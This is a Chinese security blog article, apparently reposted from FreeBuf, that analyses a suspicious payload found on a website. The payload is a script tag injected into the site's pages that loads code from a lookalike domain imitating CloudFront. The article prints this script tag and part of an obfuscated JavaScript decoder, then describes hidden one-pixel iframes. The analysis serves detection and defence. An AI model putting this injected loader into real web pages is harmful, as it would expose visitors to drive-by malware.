偷梁换柱:对一个可疑Payload的研究

字母之差

当我们发现可疑Payload(攻击负载)时,我们会尝试去研究。也许在我们检测的时候,他们并不会出现任何问题,但这并不代表他们没有问题。

某网站下面发现的一个Payload,这是个极好的例子:

<!– [if IE]><script type=”text/javascript” src=”hxxp://cloudfrond.org/golden.phtml”></script> <![endif]–>

看起来没问题吧?CloudFront是亚马逊web的CDN服务,很好很安全……麻烦再仔细看看?好吧,CloudFrond≠CloudFront,一个字母之差,你就可能中招了。

分析Payload

现在让我们来看看,该脚本到底加载了什么:

/*jskdljgdlkfjgdlkfg*/XJHNOs=print;rNjoDPv=String;RlH=rNjoDPv[“fromCharCode”];crgLMK=parseInt;utO=function(a,b){return a.charAt(b);};var dOK=”;var Glg=’7d3d099208132cbb18d70636c524b94077a6e879d602dbfa0813ff71fd18bf53005c3a50932616ee71ad68bf114f9b6349e5431abc4509b7ad5e054778acbad4c34806e724b3eb7913224c745465249d8d6456f5b3442031ce9422be75f678e7b0c63fe25b3ad7a0c2935b2338079d55a1a972dafc0a1cfdf32f6151017843c3fba4e33a0c11517839376a3372772d557b98′;var SUTbVRi=’733b2ab628364cd076b5755fae4e9c281aca9319b45db58b6f82dc199e6ee17a0f5a1c75b80939d20ca5669f3270bb486d842273e07923d4cf2c696c16c7deb3bd0c63d1088dcc54312264487d5e49e07b207a5873a87d2b8f5cd181ca03294f089b6e230f52da53be966b2f297a330a4bb6afb3b15c954b76332b488da0a20766b9a9e0a23c1cbc7c856413a6be76669b1dbcd66acdb32aaa0d8f2bceafc65166dc84b91c8c652e79485c7575a56cd97c2cb91fa8b56e483f2c23dedf0aaf54cb5784902e6d68a16357823008e3300fd1b6d1b5c4b20d075309a66d667eb9a90e38d81448204db97e8d070a7d1c3012562e4b261ddb6729873cc415c4a90e431eabaf152c50b5′;var w=0x0+0;for(var i=0;i<(Glg.length/2);i++){dOK+=RlH(crgLMK(utO(Glg,w)+utO(Glg,w+1),0x8+8)^crgLMK(utO(SUTbVRi,w)+utO(SUTbVRi,w+1),0x0F+1));w+=2;

以上其实是一个自定义编码过的脚本,在你每次访问时加载的内容都不同(算是一个视条件变化而变化的Payload)。

如果你用IE浏览器访问的话,它就只更改变量,而你使用其他浏览器,或者带着其他user-agent访问的话,输出就变得完全不可控了:

20150316025929513

如果使用IE浏览器访问得到的内容,我们能够将其解码。尽管其看起来非常可疑,但是我们并没有发现恶意的payload部分,下面是我们截获的流量包:

20150316030004538

在这里,它使用一个像素的iframe框架加载了google的某个网页,然后才加载它的下一个函数。

然而这个函数返回了一个404。我们猜测这个引用的函数已经变得不可用,或者黑客已经把它ban掉了。

在代码里还看到两个主函数:

1.建立iFrame

20150316030032122

2.主payload里也用的同样的编码方式来隐藏iframe框架里的URL。

20150316030050837

文章来源:FreeBuf黑客与极客(FreeBuf.COM)

 

发表评论

邮箱地址不会被公开。 必填项已用*标注